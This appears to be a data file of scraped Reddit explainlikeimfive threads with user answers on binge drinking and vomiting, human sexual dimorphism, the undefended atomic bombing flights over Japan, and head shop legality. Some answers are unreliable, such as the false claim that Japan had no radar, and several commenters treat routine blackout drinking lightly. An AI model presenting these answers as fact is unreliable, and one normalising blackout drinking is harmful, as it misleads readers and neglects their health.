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66b1xz | how come some people drink till they collapse, without throwing up? yet, if i reach certain point of drunkness it always ends in the toilet. | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/66b1xz/eli5how_come_some_people_drink_till_they_collapse/ | {
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"Experience? I drink about 2 times a week. Usually ends up with me blacked out passing out in place. I almost never puke. I trained with the most functional group of alcoholics in the states. The United States Army lol.",
"People are different. I've never understood how people get blackout drunk or have no memory of what happened the night before.\n\nWhen I reach a certain point, I start puking. I physically can't drink anymore after that.",
"Functional alcoholic checking in - Howdy :)\n\nBack in my teens, I used to puke pretty easily when I got drunk - it was a combination of upset stomach because of the alcohol and the dizziness that being drunk brings. Now though, I've been drinking for long enough to be used to the sensation, and my stomach no longer reacts the same way it did when I was in my late teens. There is a thing that happens at this stage that some people refer to as drinking yourself sober - you're not actually sober, but if you hold the same buzz for long enough, your body gets used to the feeling as kind of a new \"normal\", and you feel almost sober.\n\nThe basic idea is, the more you get used to it, the less you feel like puking.",
"All about how much you drink. Once I had been drinking very regularly (and puking) for a few years my body just stopped throwing it up. Now I don't even collapse. Just black out with no memory of the horrible things I've done. I stopped drinking recently.",
"Sometimes when I'm drinking a lot I feel a certain urge to take a dump so I go to the bathroom and then when I come out I'm good to go for another 2 hours or so ",
"Not exactly an explanation for a five year but here it goes\nThere are two enzymes in the body responsible for breaking down alcohol\nFirst alcohol dehydrogenase converts the alcohol into an aldehyde which then becomes processed further by aldehyde dehydrogenase\nSome people have a genetic deficiency of aldehyde dehydrogenase which leads to the build up of aldehydes in the body which may lead to nauseous feelings and flushing of the skin\nInterestingly enough someone's face turning red when they drink alcohol is referred to as oriental flushing syndrome because the genetic mutation to the aldehyde dehydrogenase gene is more common in Asian populations"
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6weyu4 | why is there a sexual-dimorphism in human body size? | Why is there this sex based difference in average human body size between males and females? Where did it come from?
Sources are always good! | explainlikeimfive | https://www.reddit.com/r/explainlikeimfive/comments/6weyu4/eli5_why_is_there_a_sexualdimorphism_in_human/ | {
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"How familiarized are you with evolutionary sciences?"
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303lia | how was it so easy for america to fly into hiroshima and nagasaki and drop those bombs without any opposition? | I'm watching a few documentaries on these events and tried looking up this answer. The pilots stated that they just flew over these cities, dropped the bombs and left without any resistance. How could Japan not see an unidentified airplane on a radar and pursue it? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/303lia/eli5_how_was_it_so_easy_for_america_to_fly_into/ | {
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"At that point in the war, the Japanese navy and air force was pretty much destroyed, they had very little left in the form of air defense. By August 1944, the Japanese navy was down to using kamikaze pilots that pretty much only knew how to take off, and sort of fly their plane. \n\nThe bombings of Hiroshima and Nagasaki was a full year later, in August 1945. Japan had almost no naval or air defense, so even if they saw the bombers on the radar, all they could do is point at the screen and watch.",
"Any given day there were 100's or 1000's of aircraft doing bombing runs and surveillance. Generally the air defense would concentrate more heavily on a 200 plane bombing group than individual planes that were likely doing something like weather recon. ",
"The B-29 bombers had a pressurized cabin so they could fly as high as 30,000 feet and they were also very fast at 360 knots. Japanese interceptors, were unpressurised and couldn't fly up to intercept them, nor could most anti-aircraft guns on the ground hit them either.\n\nIn effect, the B-29 were invulnerable to Japan's air defenses because they were simply too high up.",
"Most of the answers you see here about the Japanese defenses being too destroyed to retaliate are incorrect. The U.S. purposefully avoided bombing Hiroshima (which was a MAJOR Japanese military installation) throughout the course of the war so that it would have a virgin target to drop the bomb on. The Japanese military was very present there. The reason why the bombers weren't shot down is partially provided by Richard Rhodes' phenomenal account of history, *The Making of the Atomic Bomb*. Previously in the war, the U.S. had heavily bombed Japan. Tokyo was essentially burned to the ground, however, this was done with hundreds and hundreds of planes dropping conventional bombs in successive waves. As a result, the Japanese were trained to look for American attacks in the form of massive onslaughts. When just three American aircraft showed up (one to drop the bomb, one to photograph, and one to carry instrumentation) the Japanese assumed it was just a weather reconnaissance mission. There was really no point in trying to swat a super-high-altitude fly out of the air if it couldn't do you any harm. ",
"During the war it was quite common to see one or two enemy aircraft flying overhead doing reconnaissance, and most of the time these are of little concern and present little danger to people on the ground. So when the japanese saw the enola gay some of them at least thought it was a recon plane, not a bomber. Because in their experience bombers came in waves of dozens of planes.",
"-Japan air defense basically no longer existed by that point. They might have had a couple of anti-aircraft guns that could target low flying planes but nothing that could have hit the planes that dropped the bombs.\n\n-Bombing runs consisted of a multitude of planes flying at low altitude. The two atomic bombs were dropped by a couple of planes flying at high altitude. Nothing could have been done against them but even if Japan had somewhow had planes that could intercept them they likely would not have used them as they saw zero threat in a small fomation of planes.\n\n-In fact if you look at what actually happened, a bombing alert was given over Hiroshima when an incoming plane was first detected (the recon plane) but then when the Japanese realized that it was one plane and then three planes (the actual bomb and two other planes flying in formation) they assumed it was a recon mission and actually called off the bomb alert. Air doctrine at the time simply did not account for the possibility of only one/only three planes ever being anything but reconaissance.",
"Two main thing people seem to be missing here\n1) They didn't expect it\n2) They didn't have radar\n\nScouting missions went on all the time, and there was little point sending up squadrons of fighters to chase down a single reconnaissance flight of 1-3 aircraft. 3 aircraft couldn't (as far as the Japanese were aware) do significant damage. They would attack large raids, but why waste so much resource on scouts? By the time they realised, Hiroshima had already happened, and they didn't immediately understand it.\n\nAlso, Japan didn't have anything like the Radar that the British had. The British had the first proper radar coverage in the world, but even they had only put it in place at the start of the war. Radar was a relatively new invention and was still fairly limited: it could pick up large raids far away, but smaller groups weren't as easily detectable. And that's assuming you had coverage in the area at all. Japan didn't have great coverage, and the raids could slip through. By the time fighters could scramble and get to altitude to intercept, the deed was done."
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1k01d2 | why are head shops legal if possession of drug paraphernalia isn't? | Every head shop I've been in had "for tobacco use only" signs everywhere, but I'm pretty sure no one buys a three foot bong for tobacco. So... ELI5? | explainlikeimfive | http://www.reddit.com/r/explainlikeimfive/comments/1k01d2/eli5_why_are_head_shops_legal_if_possession_of/ | {
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"It isn't considered paraphernalia until there is evidence of use of a particular drug (smell, resin, etc.).",
"For the best source on a drug paraphernalia issue, you need to ask a regular drug user. I happen to have one in my family. She says that you can buy the razor, mirror and spoon if you don't say the word \"cocaine\" when you buy the kit. If you say cocaine, you will be told you cannot purchase the product because you are not going to use it for its intended purpose, snuff tobacco. \n\nSure, a three foot bong isn't going to be used to smoke tea leaves, but it puts the legality on the foot of the consumer instead of the seller. ",
"It all has to do with context. The pipes/bongs are sold for tobacco use only. Find it with tobacco, it's probably for tobacco. Find it with weed, it's probably for weed, aka drug paraphernalia.\n\nIt's like here in Illinois, I can have lock picks on my person legally, as long as I'm not breaking into a place. Get caught with them while burglarizing a place and they are considered burglars tools, because I'm doing a burglary. Do drugs with paraphernalia and it's drug paraphernalia. It's all contextual. ",
"I'm pretty sure I bought my three foot (four and half technically) bong for the express purpose of tobacco. I love tobacco."
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